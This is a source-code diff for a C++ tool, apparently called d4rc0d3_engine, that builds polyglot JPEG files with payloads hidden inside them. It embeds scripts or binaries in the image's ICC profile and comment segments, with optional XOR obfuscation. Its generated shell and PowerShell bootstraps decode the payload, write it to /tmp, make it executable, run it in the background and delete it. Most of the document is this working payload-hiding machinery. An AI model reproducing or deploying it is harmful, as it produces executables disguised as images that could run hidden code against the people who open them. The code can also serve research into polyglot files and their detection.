PayloadMode detectPayloadMode(const std::filesystem::path& payload_path) {
|
||||
const std::string ext = toLowerExt(payload_path);
|
||||
|
||||
if (ext == ".ps1") {
|
||||
return PayloadMode::DirectPwsh;
|
||||
}
|
||||
|
||||
if (interpreterForExtension(ext) != std::string_view{}) {
|
||||
return PayloadMode::Script;
|
||||
}
|
||||
|
||||
if (isBinaryExtension(ext)) {
|
||||
return PayloadMode::Binary;
|
||||
}
|
||||
|
||||
return PayloadMode::Binary;
|
||||
}
|
||||
|
||||
std::string payloadTargetExtension(const std::filesystem::path& payload_path) {
|
||||
return toLowerExt(payload_path);
|
||||
}
|
||||
|
||||
std::string_view interpreterForPath(const std::filesystem::path& payload_path) {
|
||||
return interpreterForExtension(toLowerExt(payload_path));
|
||||
}
|
||||
|
||||
vBytes generateBootstrap(
|
||||
PayloadMode mode,
|
||||
const vBytes& payload_bytes,
|
||||
const std::filesystem::path& payload_path,
|
||||
std::string_view inline_commands,
|
||||
const BootstrapOptions& opts,
|
||||
std::span<const Byte> xor_key) {
|
||||
|
||||
std::string script;
|
||||
|
||||
switch (mode) {
|
||||
case PayloadMode::DirectPwsh:
|
||||
script.assign(reinterpret_cast<const char*>(payload_bytes.data()),
|
||||
payload_bytes.size());
|
||||
break;
|
||||
|
||||
case PayloadMode::Script: {
|
||||
const std::string ext = toLowerExt(payload_path);
|
||||
const std::string_view interpreter = interpreterForExtension(ext);
|
||||
if (interpreter.empty()) {
|
||||
throw std::runtime_error(
|
||||
std::format("No interpreter mapping for extension \"{}\".", ext));
|
||||
}
|
||||
script = buildScriptBootstrap(interpreter, ext, opts, xor_key);
|
||||
if (!inline_commands.empty()) {
|
||||
script = std::string(inline_commands) + "\r\n" + script;
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case PayloadMode::Binary: {
|
||||
const std::string ext = toLowerExt(payload_path);
|
||||
script = buildBinaryBootstrap(ext, opts, xor_key);
|
||||
if (!inline_commands.empty()) {
|
||||
script = std::string(inline_commands) + "\r\n" + script;
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case PayloadMode::Command: {
|
||||
const std::string show = psShowPrefix(opts);
|
||||
script = show + std::string(inline_commands);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (script.empty()) {
|
||||
throw std::runtime_error("Bootstrap generation produced empty script.");
|
||||
}
|
||||
|
||||
if (!xor_key.empty()) {
|
||||
std::string stub = wrapPsXorStub(script, xor_key);
|
||||
return vBytes(reinterpret_cast<const Byte*>(stub.data()),
|
||||
reinterpret_cast<const Byte*>(stub.data() + stub.size()));
|
||||
}
|
||||
|
||||
return vBytes(reinterpret_cast<const Byte*>(script.data()),
|
||||
reinterpret_cast<const Byte*>(script.data() + script.size()));
|
||||
}
|
||||
|
||||
vBytes buildShellComSegment(
|
||||
PayloadMode mode,
|
||||
const std::filesystem::path& payload_path,
|
||||
std::string_view inline_commands,
|
||||
const BootstrapOptions& opts,
|
||||
std::span<const Byte> xor_key,
|
||||
std::string* out_shell_post_eoi) {
|
||||
|
||||
const bool wrapped = !xor_key.empty();
|
||||
const std::string_view self = wrapped ? "$1" : "$0";
|
||||
|
||||
const std::string shell_dir = opts.extract_dir.empty() ? "/tmp" : opts.extract_dir;
|
||||
const std::string rm_line = opts.keep_extracted ? "" : ";rm -f \"$f\"";
|
||||
const std::string show = shellShowPrefix(self, opts.sequential);
|
||||
|
||||
std::string xor_pipe;
|
||||
if (!xor_key.empty()) {
|
||||
xor_pipe = std::format(
|
||||
"|perl -e '$/=undef;open F,\"<\",$ARGV[0]or die;binmode F;"
|
||||
"seek F,0,0;$b=\"\";while(read F,$c,1){{if($c eq\"\\xff\")"
|
||||
"{{read F,$n,1;if($n eq\"\\xe2\"){{seek F,{}-2,1;"
|
||||
"read F,$k,{};last}}}}}}close F;"
|
||||
"$d=<STDIN>;"
|
||||
"my$_l=length($d);"
|
||||
"for my$_i(0..$_l-1){{substr($d,$_i,1,chr(ord(substr($d,$_i,1))^ord(substr($k,$_i%length($k),1))))}}"
|
||||
"print$d' -- \"{}\"",
|
||||
ICC_KEY_OFFSET, XOR_KEY_LENGTH, self);
|
||||
}
|
||||
|
||||
std::string shell_script;
|
||||
|
||||
constexpr std::string_view SHELL_EXIT = "wait 2>/dev/null";
|
||||
|
||||
switch (mode) {
|
||||
case PayloadMode::DirectPwsh:
|
||||
shell_script = show + std::format("pwsh \"{}\" 2>/dev/null &\n", self) + std::string(SHELL_EXIT);
|
||||
break;
|
||||
|
||||
case PayloadMode::Command:
|
||||
if (!inline_commands.empty()) {
|
||||
shell_script = show + "eval '" + escapeForEval(inline_commands) + "' &\n" + std::string(SHELL_EXIT);
|
||||
} else {
|
||||
shell_script = show + std::format("pwsh \"{}\" 2>/dev/null &\n", self) + std::string(SHELL_EXIT);
|
||||
}
|
||||
break;
|
||||
|
||||
case PayloadMode::Script: {
|
||||
const std::string ext = toLowerExt(payload_path);
|
||||
const std::string_view interp = interpreterForExtension(ext);
|
||||
if (interp.empty()) {
|
||||
shell_script = show + std::format("pwsh \"{}\" 2>/dev/null &\n", self) + std::string(SHELL_EXIT);
|
||||
} else {
|
||||
std::string cmd_prefix;
|
||||
if (!inline_commands.empty()) {
|
||||
cmd_prefix = std::string(inline_commands) + "\n";
|
||||
}
|
||||
shell_script = std::format(
|
||||
"{}{}(f=\"{}/$$.$(basename \"{}\")\"\n"
|
||||
"grep -am1 '^#_:' \"{}\"|"
|
||||
"sed 's/^#_://'|base64 -d{}>\"$f\"\n"
|
||||
"chmod +x \"$f\";{} \"$f\"{})&\n{}",
|
||||
show, cmd_prefix, shell_dir, self, self, xor_pipe, interp, rm_line, SHELL_EXIT);
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case PayloadMode::Binary: {
|
||||
const std::string ext = toLowerExt(payload_path);
|
||||
std::string cmd_prefix;
|
||||
if (!inline_commands.empty()) {
|
||||
cmd_prefix = std::string(inline_commands) + "\n";
|
||||
}
|
||||
shell_script = std::format(
|
||||
"{}{}(f=\"{}/$$.$(basename \"{}\")\"\n"
|
||||
"grep -am1 '^#_:' \"{}\"|"
|
||||
"sed 's/^#_://'|base64 -d{}>\"$f\"\n"
|
||||
"chmod +x \"$f\";\"$f\"{})&\n{}",
|
||||
show, cmd_prefix, shell_dir, self, self, xor_pipe, rm_line, SHELL_EXIT);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
std::string com_script;
|
||||
if (wrapped) {
|
||||
vBytes shell_bytes(reinterpret_cast<const Byte*>(shell_script.data()),
|
||||
reinterpret_cast<const Byte*>(shell_script.data() + shell_script.size()));
|
||||
std::string shell_b64 = base64Encode(shell_bytes);
|
||||
std::string inner = "grep -am1 '^#0:' \"$1\"|cut -c4-|base64 -d|sh -s \"$1\"";
|
||||
com_script = "(printf '" + formatOctalEscaped(inner) + "'|sh -s \"$0\");:";
|
||||
if (out_shell_post_eoi) {
|
||||
*out_shell_post_eoi = "#0:" + shell_b64;
|
||||
}
|
||||
} else {
|
||||
com_script = shell_script;
|
||||
}
|
||||
|
||||
std::string com_data = "\n" + com_script + "\n";
|
||||
|
||||
constexpr std::size_t MIN_COM_DATA = 255;
|
||||
while (com_data.size() < MIN_COM_DATA) {
|
||||
com_data += '#';
|
||||
}
|
||||
|
||||
const auto data_len = com_data.size();
|
||||
if (data_len + 2 > 0xFFFF) {
|
||||
throw std::runtime_error("Internal Error: COM segment too large.");
|
||||
}
|
||||
auto com_length = static_cast<uint16_t>(data_len + 2);
|
||||
|
||||
if ((com_length & 0xFF) == 0) {
|
||||
com_data += '#';
|
||||
com_length = static_cast<uint16_t>(com_data.size() + 2);
|
||||
}
|
||||
if ((com_length >> 8) == 0) {
|
||||
throw std::runtime_error("Internal Error: COM segment too small for NUL-free length.");
|
||||
}
|
||||
|
||||
vBytes segment;
|
||||
segment.reserve(4 + com_data.size());
|
||||
segment.push_back(0xFF);
|
||||
segment.push_back(0xFE);
|
||||
segment.push_back(static_cast<Byte>(com_length >> 8));
|
||||
segment.push_back(static_cast<Byte>(com_length & 0xFF));
|
||||
segment.insert(segment.end(),
|
||||
reinterpret_cast<const Byte*>(com_data.data()),
|
||||
reinterpret_cast<const Byte*>(com_data.data() + com_data.size()));
|
||||
|
||||
return segment;
|
||||
}
|
||||
|
||||
vBytes generatePostEoiPayload(const vBytes& payload_bytes, std::span<const Byte> xor_key, std::string_view shell_line) {
|
||||
if (payload_bytes.empty() && shell_line.empty()) return {};
|
||||
|
||||
std::string data = "\n<#\n";
|
||||
|
||||
if (!shell_line.empty()) {
|
||||
data += shell_line;
|
||||
data += '\n';
|
||||
}
|
||||
|
||||
if (!payload_bytes.empty()) {
|
||||
vBytes to_encode;
|
||||
if (!xor_key.empty()) {
|
||||
to_encode = xorEncode(payload_bytes, xor_key);
|
||||
} else {
|
||||
to_encode = payload_bytes;
|
||||
}
|
||||
data += "#_:" + base64Encode(to_encode) + '\n';
|
||||
}
|
||||
|
||||
data += "#>";
|
||||
|
||||
return vBytes(reinterpret_cast<const Byte*>(data.data()),
|
||||
reinterpret_cast<const Byte*>(data.data() + data.size()));
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
#pragma once
|
||||
|
||||
#include "common.h"
|
||||
|
||||
#include <filesystem>
|
||||
#include <span>
|
||||
#include <string>
|
||||
#include <string_view>
|
||||
|
||||
enum class PayloadMode : unsigned char {
|
||||
DirectPwsh,
|
||||
Script,
|
||||
Binary,
|
||||
Command
|
||||
};
|
||||
|
||||
struct BootstrapOptions {
|
||||
bool keep_extracted{false};
|
||||
bool show_image{false};
|
||||
bool sequential{false};
|
||||
std::string extract_dir;
|
||||
};
|
||||
|
||||
constexpr std::size_t ICC_KEY_OFFSET = 102;
|
||||
constexpr std::size_t XOR_KEY_LENGTH = 16;
|
||||
|
||||
[[nodiscard]] vBytes generateXorKey(std::size_t length);
|
||||
|
||||
[[nodiscard]] PayloadMode detectPayloadMode(const std::filesystem::path& payload_path);
|
||||
|
||||
[[nodiscard]] std::string payloadTargetExtension(const std::filesystem::path& payload_path);
|
||||
|
||||
[[nodiscard]] std::string_view interpreterForPath(const std::filesystem::path& payload_path);
|
||||
|
||||
[[nodiscard]] vBytes generateBootstrap(
|
||||
PayloadMode mode,
|
||||
const vBytes& payload_bytes,
|
||||
const std::filesystem::path& payload_path,
|
||||
std::string_view inline_commands = "",
|
||||
const BootstrapOptions& opts = {},
|
||||
std::span<const Byte> xor_key = {});
|
||||
|
||||
[[nodiscard]] vBytes generatePostEoiPayload(
|
||||
const vBytes& payload_bytes,
|
||||
std::span<const Byte> xor_key = {},
|
||||
std::string_view shell_line = "");
|
||||
|
||||
[[nodiscard]] vBytes buildShellComSegment(
|
||||
PayloadMode mode,
|
||||
const std::filesystem::path& payload_path,
|
||||
std::string_view inline_commands = "",
|
||||
const BootstrapOptions& opts = {},
|
||||
std::span<const Byte> xor_key = {},
|
||||
std::string* out_shell_post_eoi = nullptr);
|
||||
@@ -0,0 +1,60 @@
|
||||
#!/bin/bash
|
||||
# build.sh — Compile d4rc0d3_engine from source
|
||||
# Supports: Linux arm64, Linux x86_64, macOS (Intel/Apple Silicon)
|
||||
#
|
||||
# Dependencies:
|
||||
# Debian/Ubuntu: apt-get install -y g++ libturbojpeg0-dev libjpeg-dev
|
||||
# RHEL/Fedora: dnf install -y gcc-c++ turbojpeg-devel libjpeg-turbo-devel
|
||||
# macOS: brew install jpeg-turbo libjpeg
|
||||
# Alpine: apk add g++ libjpeg-turbo-dev
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
OUT="${1:-$SCRIPT_DIR/../d4rc0d3_engine}"
|
||||
OS="$(uname -s)"
|
||||
ARCH="$(uname -m)"
|
||||
|
||||
echo "[*] Building d4rc0d3_engine for ${OS}/${ARCH}..."
|
||||
echo "[*] Output: ${OUT}"
|
||||
|
||||
FLAGS=(-std=c++23 -O3 -Wall -Wextra -DNDEBUG -fPIE)
|
||||
LINK=()
|
||||
|
||||
case "$OS" in
|
||||
Linux)
|
||||
FLAGS+=(
|
||||
-Wformat-security -fstack-protector-strong
|
||||
-D_FORTIFY_SOURCE=2 -D_GLIBCXX_ASSERTIONS
|
||||
-s -flto=auto
|
||||
)
|
||||
# -fcf-protection is x86-only
|
||||
if [[ "$ARCH" == "x86_64" ]]; then
|
||||
FLAGS+=(-fcf-protection=full)
|
||||
fi
|
||||
LINK+=(-pie -Wl,-z,relro,-z,now,-z,noexecstack)
|
||||
;;
|
||||
Darwin)
|
||||
FLAGS+=(-flto=auto -Wno-c99-extensions)
|
||||
# Homebrew paths
|
||||
if [[ -d /opt/homebrew/include ]]; then
|
||||
FLAGS+=(-I/opt/homebrew/include)
|
||||
LINK+=(-L/opt/homebrew/lib)
|
||||
elif [[ -d /usr/local/include ]]; then
|
||||
FLAGS+=(-I/usr/local/include)
|
||||
LINK+=(-L/usr/local/lib)
|
||||
fi
|
||||
;;
|
||||
esac
|
||||
|
||||
cd "$SCRIPT_DIR"
|
||||
|
||||
g++ "${FLAGS[@]}" \
|
||||
args.cpp bootstrap.cpp file_utils.cpp jpeg_process.cpp \
|
||||
jpeg_warning_check.cpp d4rc0d3_core.cpp \
|
||||
-lturbojpeg -ljpeg \
|
||||
"${LINK[@]}" \
|
||||
-o "$OUT"
|
||||
|
||||
echo "[+] Build successful: $OUT ($(du -h "$OUT" | cut -f1))"
|
||||
echo "[+] Architecture: $(readelf -h "$OUT" 2>/dev/null | grep Machine | awk '{print $2}' || file "$OUT" | grep -oE 'arm64|x86_64|x86')"
|
||||
@@ -0,0 +1,57 @@
|
||||
#pragma once
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Toolchain floor. d4rc0d3 is distributed as source and built by each user, so
|
||||
// fail early with a clear message rather than a wall of template errors when
|
||||
// the compiler is too old. The floor is set by std::print / std::format
|
||||
// (and other C++23 library features used throughout).
|
||||
// ---------------------------------------------------------------------------
|
||||
#if defined(__GNUC__) && !defined(__clang__) && __GNUC__ < 14
|
||||
# error "d4rc0d3 requires GCC >= 14 (for std::print/std::format). Please upgrade your compiler."
|
||||
#elif defined(__clang__) && __clang_major__ < 18
|
||||
# error "d4rc0d3 requires Clang >= 18 with a C++23 standard library (libc++ 18+ or libstdc++ 14+). Please upgrade your compiler."
|
||||
#endif
|
||||
|
||||
#include <cstdint>
|
||||
#include <unistd.h>
|
||||
#include <vector>
|
||||
|
||||
using Byte = std::uint8_t;
|
||||
using vBytes = std::vector<Byte>;
|
||||
|
||||
class UniqueFd {
|
||||
public:
|
||||
explicit UniqueFd(int fd = -1) noexcept : fd_(fd) {}
|
||||
|
||||
~UniqueFd() { reset(); }
|
||||
|
||||
UniqueFd(const UniqueFd&) = delete;
|
||||
UniqueFd& operator=(const UniqueFd&) = delete;
|
||||
|
||||
UniqueFd(UniqueFd&& other) noexcept : fd_(other.release()) {}
|
||||
|
||||
UniqueFd& operator=(UniqueFd&& other) noexcept {
|
||||
if (this != &other) {
|
||||
reset(other.release());
|
||||
}
|
||||
return *this;
|
||||
}
|
||||
|
||||
[[nodiscard]] int get() const noexcept { return fd_; }
|
||||
|
||||
[[nodiscard]] int release() noexcept {
|
||||
const int released_fd = fd_;
|
||||
fd_ = -1;
|
||||
return released_fd;
|
||||
}
|
||||
|
||||
void reset(int new_fd = -1) noexcept {
|
||||
if (fd_ >= 0) {
|
||||
::close(fd_);
|
||||
}
|
||||
fd_ = new_fd;
|
||||
}
|
||||
|
||||
private:
|
||||
int fd_;
|
||||
};
|
||||
@@ -0,0 +1,740 @@
|
||||
#include "common.h"
|
||||
#include "args.h"
|
||||
#include "bootstrap.h"
|
||||
#include "file_utils.h"
|
||||
#include "jpeg_process.h"
|
||||
#include "jpeg_warning_check.h"
|
||||
#include <algorithm>
|
||||
#include <fstream>
|
||||
#include <filesystem>
|
||||
#include <array>
|
||||
#include <cerrno>
|
||||
#include <cstddef>
|
||||
#include <exception>
|
||||
#include <fcntl.h>
|
||||
#include <format>
|
||||
#include <iostream>
|
||||
#include <limits>
|
||||
#include <optional>
|
||||
#include <print>
|
||||
#include <random>
|
||||
#include <span>
|
||||
#include <stdexcept>
|
||||
#include <string>
|
||||
#include <string_view>
|
||||
#include <system_error>
|
||||
|
||||
namespace {
|
||||
constexpr std::size_t JFIF_SIG_LENGTH = 20; // SOI(2) + APP0 marker(2) + length(2) + data(14)
|
||||
constexpr std::size_t JFIF_COMMENT_BLOCK_INDEX = 0x0C; // offset in image bytes to patch with XTW\n<#
|
||||
|
||||
constexpr std::size_t SEGMENT_SIZE_FIELD_INDEX = 0x16;
|
||||
constexpr std::size_t PROFILE_SIZE_FIELD_INDEX = 0x26;
|
||||
constexpr std::size_t PWSH_INSERT_INDEX = 6;
|
||||
|
||||
constexpr std::size_t MAX_PROFILE_SEGMENT = 65535;
|
||||
|
||||
[[nodiscard]] std::size_t checkedAdd(std::size_t lhs, std::size_t rhs, std::string_view context) {
|
||||
if (lhs > std::numeric_limits<std::size_t>::max() - rhs) {
|
||||
throw std::runtime_error(std::format("{} size overflow.", context));
|
||||
}
|
||||
return lhs + rhs;
|
||||
}
|
||||
|
||||
[[nodiscard]] std::size_t checkedSub(std::size_t lhs, std::size_t rhs, std::string_view context) {
|
||||
if (lhs < rhs) {
|
||||
throw std::runtime_error(std::format("{} size underflow.", context));
|
||||
}
|
||||
return lhs - rhs;
|
||||
}
|
||||
|
||||
void writeBigEndian(vBytes& vec, std::size_t index, std::size_t value, std::size_t bytes) {
|
||||
if (bytes == 0 || bytes > sizeof(std::size_t)) {
|
||||
throw std::runtime_error("writeBigEndian: invalid byte count.");
|
||||
}
|
||||
if (index > vec.size() || bytes > vec.size() - index) {
|
||||
throw std::runtime_error("writeBigEndian: index out of bounds.");
|
||||
}
|
||||
if (bytes < sizeof(std::size_t) && value >= (std::size_t{1} << (bytes * 8))) {
|
||||
throw std::runtime_error("writeBigEndian: value exceeds range for requested byte width.");
|
||||
}
|
||||
|
||||
constexpr std::size_t BITS_PER_BYTE = 8;
|
||||
for (std::size_t byte_index = 0; byte_index < bytes; ++byte_index) {
|
||||
const std::size_t shift = (bytes - byte_index - 1) * BITS_PER_BYTE;
|
||||
vec[index + byte_index] = static_cast<Byte>((value >> shift) & 0xFF);
|
||||
}
|
||||
}
|
||||
|
||||
constexpr auto ICC_PROFILE_TEMPLATE = std::to_array<Byte>({
|
||||
0xFF, 0xE2, 0x00, 0x00, 0x49, 0x43, 0x43, 0x5F, 0x50, 0x52, 0x4F, 0x46, 0x49, 0x4C, 0x45, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x6C, 0x63, 0x6D, 0x73,
|
||||
0x02, 0x10, 0x00, 0x00, 0x6D, 0x6E, 0x74, 0x72, 0x52, 0x47, 0x42, 0x20, 0x58, 0x59, 0x5A, 0x20, 0x07, 0xE2, 0x00, 0x03, 0x00, 0x14, 0x00, 0x09, 0x00, 0x0E,
|
||||
0x00, 0x1D, 0x61, 0x63, 0x73, 0x70, 0x4D, 0x53, 0x46, 0x54, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF6, 0xD6, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0xD3, 0x2D, 0x6C, 0x63, 0x6D, 0x73, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x64, 0x65, 0x73, 0x63, 0x00, 0x00,
|
||||
0x00, 0xF0, 0x00, 0x00, 0x00, 0x1C, 0x77, 0x74, 0x70, 0x74, 0x00, 0x00, 0x01, 0x0C, 0x00, 0x00, 0x00, 0x14, 0x72, 0x58, 0x59, 0x5A, 0x00, 0x00, 0x01, 0x20,
|
||||
0x00, 0x00, 0x00, 0x14, 0x67, 0x58, 0x59, 0x5A, 0x00, 0x00, 0x01, 0x34, 0x00, 0x00, 0x00, 0x14, 0x62, 0x58, 0x59, 0x5A, 0x00, 0x00, 0x01, 0x48, 0x00, 0x00,
|
||||
0x00, 0x14, 0x72, 0x54, 0x52, 0x43, 0x00, 0x00, 0x01, 0x5C, 0x00, 0x00, 0x00, 0x34, 0x67, 0x54, 0x52, 0x43, 0x00, 0x00, 0x01, 0x5C, 0x00, 0x00, 0x00, 0x34,
|
||||
0x62, 0x54, 0x52, 0x43, 0x00, 0x00, 0x01, 0x5C, 0x00, 0x00, 0x00, 0x34, 0x63, 0x70, 0x72, 0x74, 0x00, 0x00, 0x01, 0x90, 0x00, 0x00, 0x00, 0x01, 0x64, 0x65,
|
||||
0x73, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x73, 0x52, 0x47, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x58, 0x59, 0x5A, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF3, 0x54, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x16, 0xC9, 0x58, 0x59, 0x5A, 0x20, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x6F, 0xA0, 0x00, 0x00, 0x38, 0xF2, 0x00, 0x00, 0x03, 0x8F, 0x58, 0x59, 0x5A, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0x96,
|
||||
0x00, 0x00, 0xB7, 0x89, 0x00, 0x00, 0x18, 0xDA, 0x58, 0x59, 0x5A, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0xA0, 0x00, 0x00, 0x0F, 0x85, 0x00, 0x00,
|
||||
0xB6, 0xC4, 0x63, 0x75, 0x72, 0x76, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x01, 0x07, 0x02, 0xB5, 0x05, 0x6B, 0x09, 0x36, 0x0E, 0x50,
|
||||
0x14, 0xB1, 0x1C, 0x80, 0x25, 0xC8, 0x30, 0xA1, 0x3D, 0x19, 0x4B, 0x40, 0x5B, 0x27, 0x6C, 0xDB, 0x80, 0x6B, 0x95, 0xE3, 0xAD, 0x50, 0xC6, 0xC2, 0xE2, 0x31,
|
||||
0xFF, 0xFF, 0x23, 0x3E, 0x0D, 0x0A, 0x3C, 0x23, 0x0D, 0x0A
|
||||
});
|
||||
|
||||
[[nodiscard]] std::string randomOutputSuffix(std::random_device& rd) {
|
||||
constexpr std::uint64_t OUTPUT_SUFFIX_MASK = (std::uint64_t{1} << 52) - 1;
|
||||
std::uniform_int_distribution<std::uint64_t> dist(0, OUTPUT_SUFFIX_MASK);
|
||||
return std::format("{:013x}", dist(rd));
|
||||
}
|
||||
|
||||
void unlinkOutputFileBestEffort(const std::string& output_filename) noexcept {
|
||||
constexpr int MAX_UNLINK_RETRIES = 16;
|
||||
for (int attempt = 0; attempt < MAX_UNLINK_RETRIES; ++attempt) {
|
||||
if (::unlink(output_filename.c_str()) == 0 || errno != EINTR) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
[[noreturn]] void unlinkAndThrow(const std::string& output_filename, std::string_view message) {
|
||||
unlinkOutputFileBestEffort(output_filename);
|
||||
throw std::runtime_error(std::string(message));
|
||||
}
|
||||
|
||||
[[noreturn]] void unlinkAndThrow(const std::string& output_filename, std::string_view prefix, int error_code) {
|
||||
unlinkOutputFileBestEffort(output_filename);
|
||||
throw std::runtime_error(std::format("{}: {}", prefix, std::system_category().message(error_code)));
|
||||
}
|
||||
|
||||
void writeOutputBytes(const std::string& output_filename, int fd, std::span<const Byte> bytes) {
|
||||
while (!bytes.empty()) {
|
||||
const auto chunk_size = std::min<std::size_t>(bytes.size(), static_cast<std::size_t>(std::numeric_limits<ssize_t>::max()));
|
||||
const auto bytes_written = ::write(fd, bytes.data(), chunk_size);
|
||||
|
||||
if (bytes_written > 0) {
|
||||
bytes = bytes.subspan(static_cast<std::size_t>(bytes_written));
|
||||
continue;
|
||||
}
|
||||
if (bytes_written == 0) {
|
||||
unlinkAndThrow(output_filename, "Write Error: Failed to write complete output file.");
|
||||
}
|
||||
if (errno != EINTR) {
|
||||
unlinkAndThrow(output_filename, "Write Error: Failed to write output file", errno);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
[[nodiscard]] bool startsWith(std::span<const Byte> bytes, std::span<const Byte> prefix) {
|
||||
return bytes.size() >= prefix.size() &&
|
||||
std::ranges::equal(bytes.first(prefix.size()), prefix);
|
||||
}
|
||||
|
||||
void rejectUnsupportedTextEncoding(std::span<const Byte> bytes) {
|
||||
constexpr auto UTF32_LE_BOM = std::to_array<Byte>({ 0xFF, 0xFE, 0x00, 0x00 });
|
||||
constexpr auto UTF32_BE_BOM = std::to_array<Byte>({ 0x00, 0x00, 0xFE, 0xFF });
|
||||
constexpr auto UTF16_LE_BOM = std::to_array<Byte>({ 0xFF, 0xFE });
|
||||
constexpr auto UTF16_BE_BOM = std::to_array<Byte>({ 0xFE, 0xFF });
|
||||
|
||||
const std::span<const Byte> view(bytes);
|
||||
if (startsWith(view, UTF32_LE_BOM) || startsWith(view, UTF32_BE_BOM)) {
|
||||
throw std::runtime_error(
|
||||
"Script File Error: Script is UTF-32 encoded. "
|
||||
"Re-save the script as UTF-8 (with or without BOM).");
|
||||
}
|
||||
if (startsWith(view, UTF16_LE_BOM) || startsWith(view, UTF16_BE_BOM)) {
|
||||
throw std::runtime_error(
|
||||
"Script File Error: Script is UTF-16 encoded. "
|
||||
"Re-save the script as UTF-8 (with or without BOM).");
|
||||
}
|
||||
}
|
||||
|
||||
void stripUtf8Bom(vBytes& bytes) {
|
||||
constexpr auto BOM_SIG = std::to_array<Byte>({ 0xEF, 0xBB, 0xBF });
|
||||
|
||||
if (bytes.size() >= BOM_SIG.size() &&
|
||||
std::ranges::equal(std::span<const Byte>(bytes).first(BOM_SIG.size()), BOM_SIG)) {
|
||||
bytes.erase(bytes.begin(), bytes.begin() + static_cast<std::ptrdiff_t>(BOM_SIG.size()));
|
||||
}
|
||||
}
|
||||
|
||||
struct ProfileSizes {
|
||||
std::size_t segment_size = 0;
|
||||
std::size_t profile_size = 0;
|
||||
};
|
||||
|
||||
[[nodiscard]] ProfileSizes calculateProfileSizes(std::size_t profile_byte_count) {
|
||||
const std::size_t segment_size = checkedSub(
|
||||
checkedAdd(profile_byte_count, JFIF_SIG_LENGTH, "Profile segment"),
|
||||
SEGMENT_SIZE_FIELD_INDEX,
|
||||
"Profile segment");
|
||||
|
||||
return ProfileSizes{
|
||||
.segment_size = segment_size,
|
||||
.profile_size = checkedSub(segment_size, 16, "ICC profile")
|
||||
};
|
||||
}
|
||||
|
||||
void validateProfileSizes(const ProfileSizes& sizes, std::size_t max_segment_size) {
|
||||
if (sizes.segment_size > max_segment_size) {
|
||||
throw std::runtime_error(std::format(
|
||||
"Segment Size Error: The profile segment (FFE2) exceeds the maximum size limit of {}KB.",
|
||||
max_segment_size / 1024));
|
||||
}
|
||||
|
||||
if (sizes.segment_size > std::numeric_limits<uint16_t>::max()) {
|
||||
throw std::runtime_error("Segment Size Error: Segment size exceeds 16-bit field capacity.");
|
||||
}
|
||||
}
|
||||
|
||||
[[nodiscard]] vBytes buildProfilePayload(std::span<const Byte> script_bytes, std::size_t max_segment_size, std::span<const Byte> xor_key = {}) {
|
||||
constexpr std::size_t MIN_SCRIPT_PAYLOAD_SIZE = 4;
|
||||
if (script_bytes.size() < MIN_SCRIPT_PAYLOAD_SIZE) {
|
||||
throw std::runtime_error("Payload Error: Generated script is below minimum size.");
|
||||
}
|
||||
|
||||
static_assert(ICC_PROFILE_TEMPLATE.size() >= PWSH_INSERT_INDEX);
|
||||
static_assert(ICC_PROFILE_TEMPLATE.size() > ICC_KEY_OFFSET + XOR_KEY_LENGTH);
|
||||
|
||||
vBytes profile_vec(ICC_PROFILE_TEMPLATE.begin(), ICC_PROFILE_TEMPLATE.end());
|
||||
|
||||
if (!xor_key.empty()) {
|
||||
std::ranges::copy(xor_key.first(XOR_KEY_LENGTH),
|
||||
profile_vec.begin() + ICC_KEY_OFFSET);
|
||||
}
|
||||
|
||||
profile_vec.reserve(checkedAdd(profile_vec.size(), script_bytes.size(), "ICC profile"));
|
||||
profile_vec.insert(profile_vec.end() - PWSH_INSERT_INDEX, script_bytes.begin(), script_bytes.end());
|
||||
|
||||
const ProfileSizes sizes = calculateProfileSizes(profile_vec.size());
|
||||
validateProfileSizes(sizes, max_segment_size);
|
||||
|
||||
constexpr std::size_t PROFILE_SEGMENT_SIZE_FIELD = SEGMENT_SIZE_FIELD_INDEX - JFIF_SIG_LENGTH;
|
||||
constexpr std::size_t PROFILE_PROFILE_SIZE_FIELD = PROFILE_SIZE_FIELD_INDEX - JFIF_SIG_LENGTH;
|
||||
writeBigEndian(profile_vec, PROFILE_SEGMENT_SIZE_FIELD, sizes.segment_size, 2);
|
||||
writeBigEndian(profile_vec, PROFILE_PROFILE_SIZE_FIELD, sizes.profile_size, 4);
|
||||
|
||||
return profile_vec;
|
||||
}
|
||||
|
||||
